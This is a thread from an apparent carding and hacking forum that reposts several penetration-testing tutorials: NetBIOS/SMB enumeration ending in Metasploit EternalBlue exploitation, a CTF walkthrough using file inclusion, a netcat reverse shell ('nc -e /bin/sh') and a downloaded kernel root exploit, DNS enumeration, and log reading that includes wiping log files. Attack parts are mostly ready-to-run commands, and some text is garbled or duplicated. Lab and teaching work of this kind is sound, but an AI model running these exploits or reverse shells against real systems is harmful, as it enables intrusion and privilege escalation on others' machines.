![]() |
|
[Guide] How to NetBIOS and SMB Penetration Testing on Windows - Printable Version +- Blackhat Carding Forum | Carding Forum - Credit Cards - Hacking Forum - Cracking Forum | Bhcforums.cc (https://bhcforums.cc) +-- Forum: Carding Zone (https://bhcforums.cc/Forum-Carding-Zone) +--- Forum: Carders Home (https://bhcforums.cc/Forum-Carders-Home) +--- Thread: [Guide] How to NetBIOS and SMB Penetration Testing on Windows (/Thread-Guide-How-to-NetBIOS-and-SMB-Penetration-Testing-on-Windows) |
[Guide] How to NetBIOS and SMB Penetration Testing on Windows - NINZA - 05-10-2020 From Wikipedia NetBIOS (Network Basic Input/Output System) NetBIOS is a service which allows communication between applications such as a printer or other computer in Ethernet or token ring network via NetBIOS name. NetBIOS name is 16 digits long character assign to a computer in the workgroup by WINS for name resolution of an IP address into NETBIOS name. Workgroup VS Domain Workgroup: It is a peer-to-peer network for a maximum of 10 computers in the same LAN or subnet. It has no Centralized Administration, which means no computer has control over another computer. Each user controls the resources and security locally on their system. Domain: It is a client/server network for up to 2000 computers anywhere in the world. The administrator manages the domain and its users and resources. A user with an account on the domain can log onto any computer system, without having the account on that computer. NetBIOS provides three distinct services:
Protocol Service 135 TCP MS-RPC endpoint mapper 137 UDP NetBIOS Name Service 138 UDP NetBIOS Datagram Service 139 TCP NetBIOS Session Service 445 TCP SMB Protocol Port 135: it is used for Microsoft Remote Procedure Call between client and server to listen to the query of the client. Basically, it is used for communication between client- client and server -client for sending messages. Port 137: the name service operates on UDP port 137. The name service primitives offered by NetBIOS are:
The session service primitives offered by NetBIOS are:
For mail details read our previous article given below:-
We are using nmap for scanning target network for open TCP and UDP ports and protocol. nmap -sT -sU 192.168.1.128 1 nmap -sT -sU 192.168.1.128 From the given image you can see that from the result of scan we found port 137 is open for NetBIOS name services, moreover got MAC address of target system. ![]() What will happen if the admin shares a folder in a network? Suppose we had given share permission to a specific folder (for example ignite as shown in given image) so that we can share that folder with another user in the local network then which port will involve in this process. ![]() Now you can observe that we have got a link for our shared folder. Using that link anyone can access this folder in that network, hence it means now a new port must be activated for establishing a connection in order to access a shared folder on another system, let find out it. ![]() Now again taking the help of nmap for scanning the target one more time. nmap -sT -sU 192.168.1.128 1 nmap -sT -sU 192.168.1.128 From the result of scanning, you can observe that after sharing a folder we found port 135, 139 and 445 get activated. Hence only by sharing a single folder in the network, three ports get opened simultaneously in the target system for communication with another system. ![]() Through computer > properties, the user can view basic information about their computer. As you can perceive we are sharing the image of victims control panel home which is showing his system basic information such as computer name, workgroup and etc. ![]() The same information can be enumerated with another system in that network using the following command: nbtstat -a 192.168.1.128 1 nbtstat -a 192.168.1.128 Hence you can read the information from inside NetBIOS remote machine name table we had enumerated the same information as shown in the above image. ![]() Apply filter on port 135-139 with firewall For increasing security of your system in your local network, you can add a filter on port 137 with help of window firewall. Because port series from 135 to 139 are most vulnerable therefore administrator can block either whole series or a specific port. Select Inbound Rules and click on New Rule. ![]() The select radio button for the port which will create a new rule that controls connections for a TCP or UDP port. Then click on next. ![]() Select UDP port to apply the rule on it. Edit port 137 as specific local port then click on next. Here you can add complete series also for example 135,137,138,139. ![]() Choose to Block the connection as an action to be taken when a connection matches the specified condition. Hence it will not allow traffic on port 137 for communication as a result if the attacker will scan the victim system he will not able to find the NetBIOS name of the target system. Click on next. ![]() At last, provide a caption to the new rule of your choice (as shown in image block nbtstat) and then click on Finish and you will see new filter/rule will be added into windows firewall. ![]() Now scan target system using the previous command nbtstat -a 192.168.1.128 1 nbtstat -a 192.168.1.128 This time it will not give any information related to NetBIOS. Form given image you can read the message “Host is not found. Conclusion: Hence by blocking 137 admin has added a security level that will hide the NetBIOS name of his system (192.168.1.128) in the local network. ![]() Access Share folder via port 139 Now let’s try to access the shared folder of the target (192.168.1.128) using the run command prompt. From given image, you can observe that we are able to access to ignite folder. It is possible due to service “NetBIOS session service” running on port 139. ![]() Block port 139 Similarly again use firewall inbound rule to block port 139, so that we can verify its impact on sharing information between two or more system. This will add a new in the firewall to stop the traffic coming on port 139. ![]() Now again let’s try to access share folder of the target (192.168.1.128) when port 139 is blocked by him and figure out whether we are able to access the shared folder “ignite” or not using run command prompt. From given image, you can see that we are able to access to ignite folder when the port 139 has been blocked by admin in his network. Conclusion: Although port 139 was blocked but still sharing was possible due to the running protocol on port 445. Hence by blocking port 137 and 139 admin has added a security level that will prevent NetBIOS session service as well as NetBIOS name service for NetBIOS enumeration. ![]() Mainly in many organization, port series from 135 to 139 are blocked in the network for security reasons, therefore port 445 is used for sharing data in the network. Now identify whether it is vulnerable to MS17-010 using Metasploit as shown in the given image. use auxiliary/scanner/smb/smb_ms17_010 msf auxiliary(smb_ms17_010) > set rhosts 192.168.1.128 msf auxiliary(smb_ms17_010) > set rport 445 msf auxiliary(smb_ms17_010) > exploit 1 2 3 4 use auxiliary/scanner/smb/smb_ms17_010 msf auxiliary(smb_ms17_010) > set rhosts 192.168.1.128 msf auxiliary(smb_ms17_010) > set rport 445 msf auxiliary(smb_ms17_010) > exploit From the result we found a host is vulnerable to MS17-010, hence we can exploit the target easily. For more scanning method read our previous article from [To see content please register here] .![]() use exploit/windows/smb/ms17_010_eternalblue msf exploit(ms17_010_eternalblue) >set rhost 192.168.1.1.128 msf exploit(ms17_010_eternalblue) >set rport 445 msf exploit(ms17_010_eternalblue) >set lhost 192.168.1.115 msf exploit(ms17_010_eternalblue) > exploit 1 2 3 4 5 use exploit/windows/smb/ms17_010_eternalblue msf exploit(ms17_010_eternalblue) >set rhost 192.168.1.1.128 msf exploit(ms17_010_eternalblue) >set rport 445 msf exploit(ms17_010_eternalblue) >set lhost 192.168.1.115 msf exploit(ms17_010_eternalblue) > exploit This will exploit the target system and give a meterpreter session of the targeted system as shown in the given image. Conclusion: Enumeration plays an important role in network penetration testing because it will fetch out hidden information of a victim’s system as well as identify the weakness that may help in exploiting the system. ![]() Hello friends! Today we are going to take another CTF challenge known as 6days. The credit for making this vm machine goes to “CanYouPwn.Me” and it is another boot2root challenge where we have to execute flag file to complete the challenge. You can download this VM [To see content please register here] .Let’s Breach!!! Let us start form getting to know the IP of VM (Here, I have it at 192.168.0.18 but you will have to find your own) netdiscover ![]() Use nmap for port enumeration nmap -sV 192.168.0.18 ![]() We find port is 80 open, so we open this ip on our browser. ![]() This page maybe vulnerable to SQL injection but a WAF is implemented to protect it. So we take a look at the source at the source code for further information. ![]() We find that this page maybe vulnerable to LFI and RFI so we use curl to implement our attack. ![]() We find that LFI is working on this site. Now we take a look at the config file to find the name of the database. ![]() Taking a look at the config file we found that it accessible through localhost. So we use SQL injection with LFI to access the database. Port 80 had WAF so we use 8080 to access the localhost. ![]() We find a username and password. We know that ssh is open so we try this username and password to login through ssh. ssh [email protected] ![]() Now we are connected through ssh, but when we try to run commands it seems like no command is working. It is possible that output is redirected to null. So we use netcat to get a reverse shell First we set up a listener on our system first. nc -lvp 1234 ![]() No we try to connect using netcat reverse shell nc -e /bin/sh 192.168.0.18 1234 ![]() When we got the shell we see that we can see the output of the commands. We also find that the OS is Ubuntu 12.04, which is vulnerable to overlays exploit. ![]() So we move to /tmp/ folder and download overlays exploit and save it as exploit.c cd /tmp/ wget [To see content please register here] –no-check-certificatemv 37292 exploit.c ![]() We compile the file and save it as exploit. We give it executable permission then run the file. gcc –o exploit exploit.c chmod 777 exploit ./exploit ![]() Now we have root access. When we go back we find an executable file called flag. ![]() When we run the executable file it shows us a congratulation message stating we completed the challenge. ![]() Today we are going to perform DNS enumeration with Kali Linux platform only. It has an in-built tool for DNS enumeration. For this tutorial, you must be aware of DNS server and its records, if you are not much aware of DNS then read our previous article “ [To see content please register here] ”.Nmap The following command will try to discover hosts’ services using the DNS Service Discovery protocol. It sends a multicast DNS-SD query and collects all the responses. The script first sends a query for _services._dns-sd._udp.local to get a list of services. It then sends a follow-up query for each one to try to get more information. nmap --script=broadcast-dns-service-discovery [To see content please register here] 1 nmap --script=broadcast-dns-service-discovery [To see content please register here] From the given screenshot, you can observe the running service on a DNS server. ![]() Following command will try to enumerate DNS hostnames by brute force guessing of common subdomains. With the dns-brute.srv argument, dns-brute will also try to enumerate common DNS SRV records. Wildcard records are listed as “*A” and “*AAAA” for IPv4 and IPv6 respectively. nmap -T4 -p 53 --script dns-brute [To see content please register here] 1 nmap -T4 -p 53 --script dns-brute [To see content please register here] From the screenshot, you can observe DNS hostname ![]() By default, the DNS server performs recursive queries on behalf of its DNS clients and DNS servers that have forwarded DNS client queries to it Attackers can use recursion to deny the DNS Server service. Therefore, if a DNS server in your network is not intended to receive recursive queries, recursion should be disabled on that server Following command will Checks if a DNS server allows queries for third-party names. It is expected that recursion will be enabled on your own internal nameservers. From //technet.microsoft.com nmap -Pn -sU -p 53 --script=dns-recursion 192.168.1.150 1 nmap -Pn -sU -p 53 --script=dns-recursion 192.168.1.150 As result, you can observe that recursion is enabled on the targeted system ![]() The following command will enumerate various common service (SRV) records for a given domain name. The service records contain the hostname, port and priority of servers for a given service. The following services are enumerated by the script: – Active Directory Global Catalog – Exchange Autodiscovery – Kerberos KDC Service – Kerberos Passwd Change Service – LDAP Servers – SIP Servers – XMPP S2S – XMPP C2S nmap --script dns-srv-enum --script-args "dns-srv-enum.domain='google.com'" 1 nmap --script dns-srv-enum --script-args "dns-srv-enum.domain='google.com'" ![]() DNSEnum Multithreaded Perl script to enumerate DNS information of a domain and to discover non-contiguous IP blocks. OPERATIONS:
dnsenum --noreverse -o mydomain.xml hackingarticles.in 1 dnsenum --noreverse -o mydomain.xml hackingarticles.in ![]() DNSRecon DNSRecon provides the ability to perform:
dnsrecon -d hackingarticles.in 1 dnsrecon -d hackingarticles.in You can observe the result from given below image. ![]() Fierce Fierce is a reconnaissance tool. Fierce is a PERL script that quickly scans domains (usually in just a few minutes, assuming no network lag) using several tactics. Type following command for DNS enumeration on the targeted website fierce -dns hackingarticles.in 1 fierce -dns hackingarticles.in From the screenshot, you can see that we have scanned almost the same result as from the above tools. From Wikipedia Logs Log files are a standard tool for computer systems developers and administrators. They record the (W5) “what happened when by whom, where and why happened” of the system. This information can record faults and help their diagnosis. Log Format The Common Log Format also is known as the NCSA Common log format. Each line in a file stored in the Common Log Format has the following syntax: [host; ident; authuser; date; request; status; bytes] Example 127.0.0.1 user-identifier raj [30/Aug/2017:10:25:16 -0700] “GET /apache_pb.gif HTTP/1.0” 200 1068
Logs play an important role in tracking each client computer’s activity and its communication with other computers and networks. Network or system administrator analysis log in order to keep an eye on your network for vulnerabilities that may enter in the network to access sensitive information in the form of security attacks. You might be able to identify who introduces risks and help that person to use better precautions. Location of log files Generally, in Linux or UNIX system logs are created under /var/log directory, here you will find some very important log file such as Apache, auth, MySQL, kernel, bootstrap, dmeg, apt and etc. ![]() Some Important Types of Logs Application log The Application log contains events logged by applications or programs. For example, a database program might record a file error in the application log. Apache: /var/log/apache Samba: /var/log/samba Mail: /var/log/ Mysql: /var/log/ For Example, let’s consider apache log files for analyzing its logs, there are two types of apache http server log files:
Now open apache2 log using the following command in terminal (UNIX system). cd apache2 ls 1 2 cd apache2 ls You can see all log files of apache2 as shown in the given image. echo > access.log 1 echo > access.log Using echo command I had deleted all previous logs from an inside access.log file so that we can read our recent logs for current activity. ![]() As I had described above that apache2 will create logs for client activities on the browser. Therefore I had opened some web application like dvwa, BWapp and WordPress site in respective order and as result in same order log will be created inside apache2. ![]() There are so many commands and tools used for log analyzing; among them, we had used only three command line utility cat, head and tail for reading logs. From the given image you can see we have used the cat command to read log which begins with dvwa’s log and end on WordPress log. cat is standard UNIX utility use for reading the content of the file. With help of cat command, you can view whole content inside any log file. Syntax: cat [options] file name cat access.log 1 cat access.log ![]() the head is a program on UNIX and Unix-like systems used to display the beginning of a text file. Syntax: head [options] filename head access.log 1 head access.log By default, the head will print the first 10 lines of its input to the standard output. Hence you can option [-n] for specific numbers of line. For example head – n 30 file name. ![]() the tail is a program on UNIX and Unix-like systems used to display the tail end of a text file. Syntax: tail [options] filename tail access.log 1 tail access.log From the given image you can perceive that it has shown log for WordPress at the end of the file. ![]() A significant way of reading logs Since tail reads end lines of the log file which consist information of recent activity of the client, therefore, we are going to take help tail’s option for reading log in a significant way. By default, the tail will output the last 10 lines of its input to the standard output. Hence you can option [-n] for specific numbers of line. For example tail – n 30 file name. tail -n 2 access.log 1 tail -n 2 access.log From the given image you can see above command applied filter and read only two logs from recent records. ![]() If you want to read multiple log files simultaneously then type the following command. tail -n 2 access.log error.log 1 tail -n 2 access.log error.log From the given image you can observe that it has shown two-two logs for each i.e. access log and error log. ![]() Now apply the filter using grep command with the tail command for specific records of the log. Syntax: tail [option] filename | grep “string” [option] tail access.log | grep 200 1 tail access.log | grep 200 From the given image you can notice, it has highlighted log having a string as 200. Generally, for a network administrator, this command will reduce his/her effort while log analyzing because he/she can directly read those log where client or attacker has got successfully response from the server. ![]() When the server is not able to give reply of a request made by the client it response through error 404 “not found”. ![]() tail access.log | grep 404 1 tail access.log | grep 404 From the given image you can see it has highlighted log string 404 from a set of log records. ![]() As you know on browser we had browsed web application DVWA, bWAPP and WordPress as respective sequences, therefore we get their log in the same sequence dvwa log at the top; bwapp log at middle and WordPress log at the end of access.log file Log files are very large, reading them at ones will not possible for the administrator, therefore, he/she can use after and before option with grep as a filter for logs. Syntax: tail [option] filename | grep -A [number of lines] “string” tail access.log | grep -A 2 "bwapp" 1 tail access.log | grep -A 2 "bwapp" Here -A stand for after, therefore it will filter 2 logs created after bwapp logs and hence it will indicate 2 logs of WordPress as shown in the given image. ![]() Similarly, apply the filter using before parameter and type following command with a specific argument. tail access.log | grep -B 2 "wordpress" 1 tail access.log | grep -B 2 "wordpress" Here -B stands for before, therefore it will filter 2 logs created before WordPress logs and hence it will indicate 2 logs of bwapp as shown in the given image. ![]() Auth Log Auth.log file holds system authorization information; including user login attempts either successful or failure both type of log records as well as authentication method that were used for establishing a connection with the server, for example, SSH login between server and client Location: /var/log Again I had used echo command to remove all previous record from inside auth.log echo>auth.log 1 echo>auth.log ![]() Suppose the client uses putty for ssh login into the server. ![]() If the client having a valid credential for ssh then he will get successfully login into the server. From the given image you can see I had successfully login into the server. Hence inside server auth.log file, it will create a new record for SSH login successful. ![]() While in the next image you can read access denied message which means fail in login into an SSH server. Hence this time inside auth log again a new record will be created for SSH login failure. ![]() Now let‘s read the whole records of the auth log file for above client activities using cat command. cat auth.log 1 cat auth.log From the given image you can read the logs for successful and failed login. ![]() Vsftpd Log Vsftd log holds system authentication log for FTP login records either success or failure. Location: /var/log I had deleted all previous logs using echo command and using WinSCP for FTP server login. You can observe that we had login successfully. Hence it will create a new record in vsftpd.log for client login successfully. ![]() Now let’s verify it though vsftpd log file and use cat command for reading the whole file. From the given image you can observe it has created a record in the log file for client 192.168.0.104 is CONNECT. cat vsftpd.log 1 cat vsftpd.log ![]() System Log syslog is a standard for system logs or message logging. The administrator may use syslog for system management and security auditing as well as general informational, analysis, and debugging messages. A wide variety of devices, such as printers, routers, and message receivers across many platforms use the syslog standard. Location: /var/log Use cat command for reading syslog as shown in the given image. cat syslog 1 cat syslog ![]() APT Log The apt is a standard command-line tool in UNIX, which works for performing functions such as the installation of new software packages, upgrade of existing software packages, updating of the package list index, and even upgrading the entire Ubuntu system. Location: /var/log Hence apt contain its own log file for all new and previous installed software. It has two log file as:
cat history.log 1 cat history.log ![]() From the given image you can observe the result which contains information about software installation and updates. It was a brief theory for reading logs in the simplest way.
|